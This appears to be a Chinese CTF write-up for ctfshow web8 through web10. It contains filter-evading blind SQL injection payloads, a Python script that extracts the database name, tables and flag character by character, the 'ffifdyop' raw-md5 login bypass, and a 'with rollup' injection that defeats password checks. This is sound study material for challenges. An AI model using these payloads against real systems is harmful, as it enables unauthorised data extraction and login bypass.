今后有关ctfshow的解题都会在这里
ctfshow web8
sql注入,不过过滤了很多东西,常见的and,union空格
但依旧可以通过
GET /index.php?id=2/**/or/**/true#
GET /index.php?id=2/**/or/**/false#
来判断真假来注入


需要使用盲注,函数为ascii,原理就是比对
or/**/ascii(substr(database()from/**/1/**/for/**/1))=ascii(substr(database()from/**/1/**/for/**/1))%23
截取当前数据库的第一个字符,比对第一个字符,返回很多文章,证明是true,成功
查询当前数据库的代码
import requests
def check_id(id_value, position):
# position 递增
url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr(database()from/**/{position}/**/for/**/1))={id_value}#"
response = requests.get(url, verify=False)
# 长度大于 403 ASCII
if len(response.content) > 403:
ascii_value = chr(id_value)
return ascii_value
return None
def main():
inp = ""
position = 1 # 查询位置
while position <= 5:
for i in range(0, 128): # 遍历ascii
result = check_id(i, position)
if result is not None:
inp += result
print(f"Position: {position}, ASCII: {result}")
position += 1
break
print(f"Final input: {inp}")
if __name__ == "__main__":
main()
查询到数据库名称为web8
爆破表
-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{position}/**/for/**/1))={id_value}#
替换到脚本就好
import requests
def check_id(id_value, position):
# position 递增
url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{position}/**/for/**/1))={id_value}#"
response = requests.get(url, verify=False)
if len(response.content) > 403:
ascii_value = chr(id_value)
return ascii_value
return None
def main():
inp = ""
position = 1
while position <= 5:
for i in range(0, 128):# 遍历ascii
result = check_id(i, position)
if result is not None:
inp += result
print(f"Position: {position}, ASCII: {result}")
position += 1
break
print(f"Final input: {inp}")
if __name__ == "__main__":
main()
得到表名flag
那就是查询flag了
-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)from/**/{position}/**/for/**/1))={id_value}#
ctfshow{bd536ebe-62a8-48a8-8e3e-050615f98c24}
ctfshow web9
有趣的md5数据库绕过
通过爆破找到了

内容为
User-agent: *
Disallow: /index.phps
寻迹找到的代码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
不难看出,用户可控的位置为password,传入了md5的函数,加上md5函数中的ture,输出就变为了二进制数据
echo md5('ffifdyop', true);//输出的是原始二进制数据
❯ php 1.php
'or'6{乱码}
解析后便导致这样的问题

ctfshow web10
点击取消获得源代码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
代码的关键逻辑大致如下
1 查询用户名
2 检查结果
3 密码验证
4 登入
其中用户可控的输入是username变量,注入也发生在这里,而登入判定多了检查结果与密码验证,虽不能直接 or了,需要让返回的password等于输入passowrd
查找资料后找到一个神奇sql语句with rollup,随便找来一个表演示

加上with rollup

这里多出了一个null,如果我们能在注入中让这个null出现,就能控制密码
原语句为
select * from user where username = '$username'
可以想办法注入为
select * from user where username = '$username' or 1=1 GROUP BY password with rollup
这样就能控制数据库回显一个null
那么payload就是
/**/or/**/1=1/**/GROUP/**/BY/**/password/**/with/**/rollup
